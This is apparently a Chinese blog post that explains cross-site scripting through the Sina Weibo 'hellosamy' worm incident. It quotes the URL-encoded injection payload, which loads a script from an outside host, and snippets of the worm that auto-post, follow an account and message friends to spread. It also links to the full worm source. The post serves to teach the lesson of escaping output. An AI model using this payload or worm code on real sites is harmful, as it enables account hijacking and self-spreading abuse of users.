XSS-從weibo蠕蟲事件學(xué)習(xí)
XSS攻擊:跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆。故將跨站腳本攻擊縮寫為XSS。XSS是一種經(jīng)常出現(xiàn)在web應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁(yè)面中。
Xss的例子(以新浪微博的6.9的hellosamy蠕蟲事件為例):
sina的名人堂頁(yè)面頁(yè)面上存在這么個(gè)鏈接
<a href="http://weibo.com/pub/star/g/123">這個(gè)是xss</a>
其實(shí)在服務(wù)器端是這么寫的(猜測(cè),真實(shí)代碼長(zhǎng)啥樣不知道,但是一定是忘記做轉(zhuǎn)義就輸出了):
Echo '<a href="http://weibo.com/pub/star/g/{$uname}">這個(gè)是xss</a>'
其中uname并沒有做htmlspecialchars。相當(dāng)于是直接由用戶輸入,然后輸出在頁(yè)面上了。
這樣的html就是存在xss漏洞
好了,這個(gè)漏洞被發(fā)現(xiàn)了,下面要利用它做什么呢?
1 將uname設(shè)置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
這樣這個(gè)url就變成了
其中的引號(hào)被封閉了,然后這個(gè)頁(yè)面自動(dòng)運(yùn)行了一段js腳本
這個(gè)js腳本做了這樣的事情:
1 發(fā)送一個(gè)微博(這個(gè)是之所以成為蠕蟲的原因,這個(gè)微博中附帶著同樣的一個(gè)連接)
2 加關(guān)注uid為2201270010
3 發(fā)私信,向好友傳播鏈接
js的下載代碼在http://www.stwind.org/wp-content ... 28_sina_XSS.txt.zip
- ?
- 1234567891011
- try{ x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x); } catch(e){} main(); var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
復(fù)制代碼 其中就是在打開的頁(yè)面加入了<script節(jié)點(diǎn)>,并執(zhí)行
main中是發(fā)送微博,加關(guān)注,發(fā)私信三個(gè)動(dòng)作
當(dāng)5000秒后,當(dāng)前頁(yè)重新定位到public/topic上
- ?
- 123456789101112131415161718192021222324252627
- function main(){ try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){} }
復(fù)制代碼 比如
- ?
- 123456789
- function publish(){ url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; post(url,data,true); }
復(fù)制代碼 模擬post請(qǐng)求,由于這個(gè)js是在weibo網(wǎng)頁(yè)上調(diào)用的,所以就沒有跨域問題
直接post就可以產(chǎn)生這個(gè)效果
注:這次事件中還用到了短鏈接服務(wù)
短鏈接服務(wù)能自定義用戶鏈接,比如http://weibo.com/xyyyd%22%3E%3Cs ... ript%3E?type=update
這么長(zhǎng)一個(gè)鏈接能變?yōu)?a target="_blank">http://t.cn/atmcqn
這樣能增加用戶的點(diǎn)擊成功率
事實(shí)證明,建站是需要非常小心的,每個(gè)頁(yè)面,每個(gè)輸出,如果有一兩個(gè)漏洞,都可能造成全站的大災(zāi)難!引以為戒!
相關(guān)有用的鏈接地址:
http://soft.yesky.com/security/156/30179156.shtml
http://www.youxia.org/2011/12/XSS-RootKit.html
http://www.youxia.org/2010/04/Anti-XSS.html
http://blog.sina.com.tw/gn005021 ... &entryid=604456
----------------------
作者:yjf512(軒脈刃)
出處:http://www.cnblogs.com/yjf512/
本文版權(quán)歸yjf512和cnBlog共有,歡迎轉(zhuǎn)載,但未經(jīng)作者同意必須保留此段聲明
|